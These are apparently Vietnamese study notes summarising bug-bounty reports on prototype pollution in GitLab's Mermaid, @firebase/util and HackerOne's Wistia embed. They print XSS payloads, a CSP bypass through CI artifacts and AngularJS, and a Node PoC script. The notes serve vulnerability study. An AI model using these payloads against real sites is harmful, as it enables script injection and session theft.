Stored XSS via Mermaid Prototype Pollution Vulnerability prototype-pollution XSS

GitLab hỗ trợ sử dụng Mermaid để vẽ sơ đồ và kể từ phiên bản 8.6.0 thì Mermaid hỗ trợ cú pháp khai báo directive “ giúp chỉnh sửa style cho các sơ đồ. Thực chất, thư viện sẽ lấy JSON_OBJECT và merge nó vào config object. Sau đó, config object sẽ được dùng để tạo CSS:

let userStyles = ""
// user provided theme CSS
if (cnf.themeCSS !== undefined) {
  userStyles += `\n${cnf.themeCSS}`
}
// user provided theme CSS
if (cnf.fontFamily !== undefined) {
  userStyles += `\n:root { --mermaid-font-family: ${cnf.fontFamily}}`
}
// user provided theme CSS
if (cnf.altFontFamily !== undefined) {
  userStyles += `\n:root { --mermaid-alt-font-family: ${cnf.altFontFamily}}`
}

Ngoài ra, nó cũng chèn CSS vào thẻ <style> của DOM thông qua innerHTML:

const stylis = new Stylis()
const rules = stylis(`#${id}`, getStyles(graphType, userStyles, cnf.themeVariables))
 
const style1 = document.createElement("style")
style1.innerHTML = rules
svg.insertBefore(style1, firstChild)

Tuy nhiên tại thời điểm này attacker không thể bypass được CSP:

Về root cause, lỗ hổng xảy ra do JSON_OBJECT được merge vào mà không có sanitize. Dẫn đến, attacker có thể inject vào các field độc hại cho toàn bộ các object và khiến cho client-side của ứng dụng bị hỏng hoàn toàn.

Bất kỳ attacker nào tạo issue hoặc comment vào issue và sử dụng payload sau đều có thể làm hỏng trang UI của issue đó:

 
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice

Info

Ban đầu bug này có tên là “Client-Side DOS via Mermaid Prototype Pollution vulnerability”.

Về sau, attacker nâng cấp bug này lên thành XSS. Cụ thể, payload mà attacker sử dụng là:

 
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice

Attacker khi pollute template attribute thì sẽ được Vue JS sử dụng và tạo ra DOM XSS. Khi victim nhấn vào search bar sau khi UI được loại thì XSS sẽ được trigger.

Giá trị của template được decode ra như sau:

<iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"<script src=https://gitlab.com/bugbountyuser1/csp/-/jobs/1030502035/artifacts/raw/payload.js> </script>\">

Tip

Từ payload trên, ta thấy rằng attacker thực hiện HTML encoding cho các ký tự angle brackets bên trong srcdoc (có thể là để bypass WAF). Ngoài ra, việc sử dụng chính domain gitlab.com có thể là một cách để bypass CSP.

Info

Lỗ hổng trên của Mermaid được fix trong bản 8.9.2: https://github.com/mermaid-js/mermaid/releases/tag/8.9.2

Về cách bypass CSP, attacker mô tả nó trong report 1103258. Đầu tiên, ta cần serve payload ở đâu đó trên domain gitlab.com (đúng như nhận định ở trên, việc làm này là để bypass CSP). Sau đó, ta cần nó có Content-Type trả về là application/javascript và các job artifacts của CI/CD thỏa mãn tiêu chí này (đó là lý do mà URL của script ở trên có chữ “artifacts”).

Cụ thể hơn, attacker sẽ tạo một project và một file JS để thực thi code tên là payload.js:

alert(document.cookie)

Sau đó tạo file .gitllab-ci.yml có nội dung như sau:

js:
  script: "echo test"
  artifacts:
    paths:
      - payload.js
    expire_in: 4 week

File này sẽ trigger GitLab CI để tạo ra job artifact và download link của nó sẽ là:

https://gitlab.com/<user>/csp/-/jobs/<job_id>/artifacts/raw/payload.js

Payload để thực hiện XSS sẽ là:

<iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"&lt;script src=https://gitlab.com/<user>/asdf/-/jobs/<job_id>/artifacts/raw/payload.js&gt; &lt;/script&gt;\">

Payload này giống với payload ở trên.

Do payload được injected vào thẻ <style> và trong thẻ này ta không thể thực thi code. Attacker bypass bằng cách thêm vào thẻ <title> ở trước thì có thể thực thi được code:

 
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice

Node.js third-party modules - [@firebase/util] Prototype pollution | HackerOne prototype-pollution

Hàm deepCopy và hàm deepExtend của package https://www.npmjs.com/package/@firebase/util cho phép thêm hoặc thay đổi các properties của Object prototype và điều này có thể dẫn đến lỗ hổng Prototype Pollution.

Cài đặt: npm i @firebase/util.

PoC script:

const utils = require("@firebase/util")
 
const obj = {}
const source = JSON.parse('{"__proto__":{"polluted":"yes"}}')
console.log("Before : " + obj.polluted)
utils.deepExtend({}, source)
// utils.deepCopy(source);
console.log("After : " + obj.polluted)

Output:

Before: undefined
After: yes

Có thể thấy, obj đã bị polluted bằng thuộc tính polluted thông qua hàm deepExtend (hoặc deepCopy).

Reflected XSS on www.hackerone.com via Wistia Embed Code prototype-pollution XSS

Attacker nhận thấy rằng application sử dụng Wistia để host và nhúng video thông qua đoạn HTML sau:

<script src="https://fast.wistia.com/embed/medias/t306dw04gl.jsonp" async=""></script>
<script src="https://fast.wistia.com/assets/external/E-v1.js" async=""></script>
<div class="wistia_embed wistia_async_t306dw04gl videoFoam=true"></div>

Tuy nhiên, script E-v1.js bị lỗ hổng prototype pollution ở đoạn code sau với source là URL và Referer header:

i._initializers.initWLog = function() {
    var e, t, n, o, a, l, s, d, u, p, c;
    if (t = i.url.parse(location.href),
    document.referrer && (u = i.url.parse(document.referrer)),

Nếu input truyền vào i.url.parse chứa query param chẳng hạn như ?__proto__.ggg=1 thì nó sẽ được injected vào prototype của Object. Ví dụ, nếu truy cập vào https://www.hackerone.com/blog/scaling-security-startup-unicorn?__proto__[ggg]=aaa thì khi gõ Object.prototype trong console ta sẽ thấy được một property tên là ggg.

Ngoài ra, script sử dụng hàm elem.fromObject để tạo ra các elements dùng để nhúng video:

if (this.chrome = r.elem.fromObject({
    id: r.seqId('wistia_chrome_'),
    class: 'w-chrome',
    style: r.generate.relativeBlockCss(),
    tabindex: -1
})

Vấn đề là, nếu prototype của Object bị polluted thì các property trong object truyền vào fromObject cũng sẽ là property của element được tạo ra. Dẫn đến, attacker có thể pollute property innerHTML để element được tạo ra có HTML tùy ý.

Do application có CSP chặn inline script và chỉ cho phép sử dụng *.cloudflare.com làm script-src nên attacker bypass bằng cách include vào AngularJS và dùng để thực thi XSS (AngularJS thuộc CDN của Cloudflare):

<script src="//code.angularjs.org/1.8.0/angular.js"></script>
<div ng-app>
  <img
    src="/"
    ng-on-error="$event.srcElement.ownerDocument.defaultView.alert($event.srcElement.ownerDocument.domain)"
  />
</div>

Toàn bộ nội dung trên sẽ là giá trị của attribute srcdoc trong thẻ <iframe>:

<iframe
  srcdoc='<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.min.js">...'
></iframe>

Tại sao lại dùng <iframe>srcdoc thay vì dùng trực tiếp XSS payload?

Attacker nói rằng làm vậy là để bypass CSP nhưng chưa rõ tại sao?

Cuối cùng, attacker set innerHTML là thẻ <iframe> ở trên để tấn công reflected XSS:

https://www.hackerone.com/blog/scaling-security-startup-unicorn?__proto__.innerHTML=<iframe>...</iframe>